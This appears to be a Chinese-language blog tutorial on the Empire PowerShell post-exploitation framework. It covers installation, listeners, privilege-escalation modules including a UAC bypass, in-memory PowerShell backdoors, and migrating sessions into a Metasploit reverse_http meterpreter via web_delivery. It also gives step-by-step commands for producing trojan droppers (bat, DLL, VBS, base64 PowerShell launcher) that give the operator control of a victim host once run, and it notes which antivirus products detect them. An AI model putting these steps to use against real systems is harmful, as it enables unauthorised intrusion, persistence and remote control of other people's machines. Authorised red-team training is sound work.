目录
6. PowerBreach是一系列内存中的PowerShell后门,可为各种选项提供触发器
一. Empire介绍
二. 安装Empire
1.命令安装
sudo apt install powershell-empire
2.Git安装
git clone --recursive https://github.com/BC-SECURITY/Empire.git
cd Empire
sudo ./setup/install.sh
3.Docker安装
# 拉取镜像
docker pull bcsecurity/empire:latest
#在打开其余api和套接字端口的情况下运行服务器
docker run -it -p 1337:1337 -p 5000:5000 bcsecurity/empire:latest
#运行客户端
docker run -it -p 1337:1337 -p 5000:5000 bcsecurity/empire:latest client
# 在已经运行的服务器容器上运行客户机
docker container ls
docker exec -it {container-id} ./ps-empire client
# 持久的存储
docker pull bcsecurity/empire:latest
docker create -v /empire --name data bcsecurity/empire:latest
docker run -it -p 1337:1337 -p 5000:5000 --volumes-from data bcsecurity/empire:latest
# 放到bash代替直接进入empire
docker run -it -p 1337:1337 -p 5000:5000 --volumes-from data --entrypoint /bin/bash bcsecurity/empire:latest
一般的话直接用命令就可以,提示报错的话就可以使用Git方式安装
安装报错处理:
1. 提示缺什么依赖就 pip install 安装什么依赖
2. 安装前确保自己的python在3.8或以上
3. 确保网络环境,安装源没有问题
问题:
安装donut库时报错
先执行以下两条命令
sudo pip3 uninstall setuptools
pip3 install setuptools --upgrade
三. 基本使用
1. Empire拥有客户端和服务端
服务端开启:
python3 emprie.py server
客户端开启
python3 emprie.py client
2. 客户端操作
1) 基础命令
agents Jump to the Agents menu. 跳转到代理菜单
creds Add/display credentials to/from the database. 从数据库中添加/显示凭据
exit Exit Empire
help Displays the help menu. 显示“帮助”菜单。
interact Interact with a particular agent. 与特定的代理交互。
list Lists active agents or listeners. 列出活动代理或侦听器
listeners Interact with active listeners. 与活跃的听众互动。
load Loads Empire modules from a non-standard folder. 从非标准文件夹加载Empire模块
plugin Load a plugin file to extend Empire. 加载插件文件以扩展Empire。
plugins List all available and active plugins. 列出所有可用的和活动的插件
preobfuscate Preobfuscate PowerShell module_source files 预混淆PowerShell模块源文件
reload Reload one (or all) Empire modules. 重新加载一个(或所有)empire模块
report Produce report CSV and log files: sessions.csv, credentials.csv, 生成报告CSV和日志文件:会话。csv、credentials.csvmaster.log
reset Reset a global option (e.g. IP whitelists). 重置全局选项(例如IP白名单)
resource Read and execute a list of Empire commands from a file. 从文件中读取并执行empire命令列表
searchmodule Search Empire module names/descriptions. 搜索帝国模块名称/描述。
set Set a global option (e.g. IP whitelists). 设置一个全局选项(例如IP白名单)。
show Show a global option (e.g. IP whitelists). 显示一个全局选项(例如IP白名单)
usemodule Use an Empire module. 使用empire模块
usestager Use an Empire stager
uselistener Use an Empire stager 使用一个empire监听器
2) 监听器
01. 选择监听器类型
选择监听器类型
uselistener http
02. info命令可以查看信息,其中Require为True的值都需要被设置。与metasploit很类似
(Empire: uselistener/http) > info
03. 通过set配置参数,execeute执行
也可以提前help,
到这里可以看到监听器成功创建。
04. 通过 back 返回上一级,使用 listeners 可以查看所设置的监听器
05. 使用 kill 命令删除监听器
四. Empire 基础详解(模块,命令)
1.empire 相关命令
2. interact 命令
3. uselistener 监听模块
4. usestager模块(payload)
multi为通用模块(linux),osx是Mac操作系统的模块,剩下的是Windows的模块
5. usemodule privesc 提权模块
在empire中, 拥有管理员权限的带库在username前面会多一个*
#默认运行 powershell/privesc/bypassuac_eventvwr
usemodule privesc/powerup/allchecks #检查漏洞模块
6. PowerBreach是一系列内存中的PowerShell后门,可为各种选项提供触发器
7.Empire会话迁移
1) 获取session
2) 进入msf模块: exploit/multi/script/web_delivery后
msf6 exploit(multi/script/web_delivery) > set URIPATH /
msf6 exploit(multi/script/web_delivery) > set LHOST 192.*.*.*
msf6 exploit(multi/script/web_delivery) > set payload windows/meterpreter/reverse_http
msf6 exploit(multi/script/web_delivery) > set target 2 #使用Powershell目标
3) 使用模块: usemodule
#设置payload
msf6 exploit(multi/script/web_delivery) > set payload windows/meterpreter/reverse_http
#设置Agent, URL(根据msf生成的url去设置)
powershell/code_execution/invoke_metasploitpayload
4) 执行传递
五. 生成后门
1. launcher_bat木马
1). 输入usestager windows/launcher_bat,输入options查看详细参数,通过set配置参数,通过execeute执行
(Empire) > usestager windows/launcher_bat
2). 设置监听器
# 设置监听器
set Listener Test
# 设置输出目录新版不生效
set OutFile /var/www/html/launcher.bat
excute
3). 可以看到生成的后门文件(火绒和360均可以查杀)
/usr/share/powershell-empire/empire/client/generated-stagers
4). 主机点击后client就可以看到上线提示
5). 使用 agents 命令可以查看主机列表
2. DLL木马
01. 输入usestager windows/dll的命令,输入info命令查看基础信息,输入options查看详细信息,通过set配置参数,通过execute执行
可以发现木马被存放在了/usr/share/powershell-empire/empire/client/generated-stagers
目录下,名字为launcher.dll
在目标主机上运行木马文件,即可成功上线
3. Launcher
如果只需要简单的PowerShell代码,在设置完相应模块后,可以直接在监听器菜单中键入launcher,将很快生成一行base64编码代码,这里输入back命令回到listener下,然后输入launcher powershellshuteer(当前设置的listener名字)命令来生成一个Payload
在装有Powershell的目标机上执行生成的这段命令,即可得到这个主机的权限
4. launcher_vbs木马
输入usestager windows/launcher_vbs,然后输入info命令查看详细参数,通过set配置参数,通过execeute执行
将生成的木马文件在目标机上打开,就会得到这个主机的权限
六. 连接主机和基本使用
在目标主机反弹成功以后,可以通过agents命令列出当前已连接的主机,这里要注意带有(*)的是已提权成功的主机;
使用interact命令连接主机,可以使用Tab键补全主机的名称,连接成功以后可以通过 help 命令查看可以使用的命令,也可以通过rename修改会话名称
参考链接:
http://t.csdn.cn/3nCKW
http://t.csdn.cn/STqs2